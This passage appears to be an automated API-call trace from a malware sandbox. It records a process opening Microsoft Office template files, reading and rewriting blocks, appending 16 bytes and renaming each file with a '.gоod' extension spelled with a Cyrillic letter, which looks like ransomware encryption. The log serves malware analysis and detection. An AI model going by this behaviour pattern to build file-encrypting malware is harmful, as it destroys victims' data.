fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d62f920, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x37490)) returned 1 [0216.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0216.721] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryNewsletter.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecarynewsletter.dotx.gоod")) returned 1 [0216.722] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", lpFilePart=0x0) returned 0x4b [0216.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0216.722] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x35d4f88 | out: lpFileInformation=0x35d4f88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x36007)) returned 1 [0217.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0217.399] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", lpFilePart=0x0) returned 0x4b [0217.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0217.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0217.400] GetFileType (hFile=0x768) returned 0x1 [0217.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0217.400] GetFileType (hFile=0x768) returned 0x1 [0217.400] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0217.400] ReadFile (in: hFile=0x768, lpBuffer=0x359b648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x359b648*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0217.401] CloseHandle (hObject=0x768) returned 1 [0217.401] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", lpFilePart=0x0) returned 0x4b [0217.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0217.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0217.401] GetFileType (hFile=0x768) returned 0x1 [0217.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0217.401] GetFileType (hFile=0x768) returned 0x1 [0217.401] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x36007 [0217.402] WriteFile (in: hFile=0x768, lpBuffer=0x359d0a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x359d0a8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0217.402] CloseHandle (hObject=0x768) returned 1 [0217.403] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", lpFilePart=0x0) returned 0x4b [0217.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0217.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0217.403] GetFileType (hFile=0x768) returned 0x1 [0217.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0217.403] GetFileType (hFile=0x768) returned 0x1 [0217.403] ReadFile (in: hFile=0x768, lpBuffer=0x35a1d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x35a1d60*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0217.430] CloseHandle (hObject=0x768) returned 1 [0217.430] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", lpFilePart=0x0) returned 0x4b [0217.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0217.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0217.431] GetFileType (hFile=0x768) returned 0x1 [0217.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0217.431] GetFileType (hFile=0x768) returned 0x1 [0217.431] WriteFile (in: hFile=0x768, lpBuffer=0x35a0aa0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x35a0aa0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0217.431] CloseHandle (hObject=0x768) returned 1 [0217.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx", lpFilePart=0x0) returned 0x4b [0217.431] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx.gоod", lpFilePart=0x0) returned 0x50 [0217.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0217.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7dd0a4e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x36017)) returned 1 [0217.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0217.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ApothecaryResume.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\apothecaryresume.dotx.gоod")) returned 1 [0217.432] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", lpFilePart=0x0) returned 0x4b [0217.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0217.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx"), fInfoLevelId=0x0, lpFileInformation=0x361e468 | out: lpFileInformation=0x361e468*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47c8)) returned 1 [0217.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0217.432] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", lpFilePart=0x0) returned 0x4b [0217.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0217.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0217.433] GetFileType (hFile=0x768) returned 0x1 [0217.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0217.433] GetFileType (hFile=0x768) returned 0x1 [0217.433] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0217.433] ReadFile (in: hFile=0x768, lpBuffer=0x361e8b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x361e8b0*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0218.472] CloseHandle (hObject=0x768) returned 1 [0218.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", lpFilePart=0x0) returned 0x4b [0218.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0218.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0218.472] GetFileType (hFile=0x768) returned 0x1 [0218.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0218.473] GetFileType (hFile=0x768) returned 0x1 [0218.473] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x47c8 [0218.473] WriteFile (in: hFile=0x768, lpBuffer=0x37da3a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x37da3a8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0219.598] CloseHandle (hObject=0x768) returned 1 [0219.598] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", lpFilePart=0x0) returned 0x4b [0219.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0219.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0219.598] GetFileType (hFile=0x768) returned 0x1 [0219.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0219.599] GetFileType (hFile=0x768) returned 0x1 [0219.599] ReadFile (in: hFile=0x768, lpBuffer=0x370ef80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x370ef80*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0222.086] CloseHandle (hObject=0x768) returned 1 [0222.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", lpFilePart=0x0) returned 0x4b [0222.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.086] GetFileType (hFile=0x768) returned 0x1 [0222.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.086] GetFileType (hFile=0x768) returned 0x1 [0222.086] WriteFile (in: hFile=0x768, lpBuffer=0x3625e30*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3625e30*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0222.086] CloseHandle (hObject=0x768) returned 1 [0222.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx", lpFilePart=0x0) returned 0x4b [0222.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx.gоod", lpFilePart=0x0) returned 0x50 [0222.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0222.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x809549cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x47d8)) returned 1 [0222.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0222.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BillingStatement.xltx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\billingstatement.xltx.gоod")) returned 1 [0222.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", lpFilePart=0x0) returned 0x3f [0222.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0222.120] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3725678 | out: lpFileInformation=0x3725678*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a3d)) returned 1 [0222.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0222.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", lpFilePart=0x0) returned 0x3f [0222.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.121] GetFileType (hFile=0x768) returned 0x1 [0222.121] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.121] GetFileType (hFile=0x768) returned 0x1 [0222.121] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0222.121] ReadFile (in: hFile=0x768, lpBuffer=0x3725a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3725a60*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0222.123] CloseHandle (hObject=0x768) returned 1 [0222.123] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", lpFilePart=0x0) returned 0x3f [0222.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.123] GetFileType (hFile=0x768) returned 0x1 [0222.123] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.123] GetFileType (hFile=0x768) returned 0x1 [0222.123] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x3a3d [0222.123] WriteFile (in: hFile=0x768, lpBuffer=0x37272f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x37272f8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0222.124] CloseHandle (hObject=0x768) returned 1 [0222.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", lpFilePart=0x0) returned 0x3f [0222.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.124] GetFileType (hFile=0x768) returned 0x1 [0222.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.124] GetFileType (hFile=0x768) returned 0x1 [0222.125] ReadFile (in: hFile=0x768, lpBuffer=0x3729940, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3729940*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0222.167] CloseHandle (hObject=0x768) returned 1 [0222.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", lpFilePart=0x0) returned 0x3f [0222.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0222.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0222.167] GetFileType (hFile=0x768) returned 0x1 [0222.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0222.167] GetFileType (hFile=0x768) returned 0x1 [0222.167] WriteFile (in: hFile=0x768, lpBuffer=0x37286b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x37286b0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0222.167] CloseHandle (hObject=0x768) returned 1 [0222.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx", lpFilePart=0x0) returned 0x3f [0222.167] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx.gоod", lpFilePart=0x0) returned 0x44 [0222.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0222.167] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x80a39746, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a4d)) returned 1 [0222.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0222.168] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Blog.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\blog.dotx.gоod")) returned 1 [0222.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", lpFilePart=0x0) returned 0x4f [0222.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0222.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx"), fInfoLevelId=0x0, lpFileInformation=0x37a6f10 | out: lpFileInformation=0x37a6f10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, 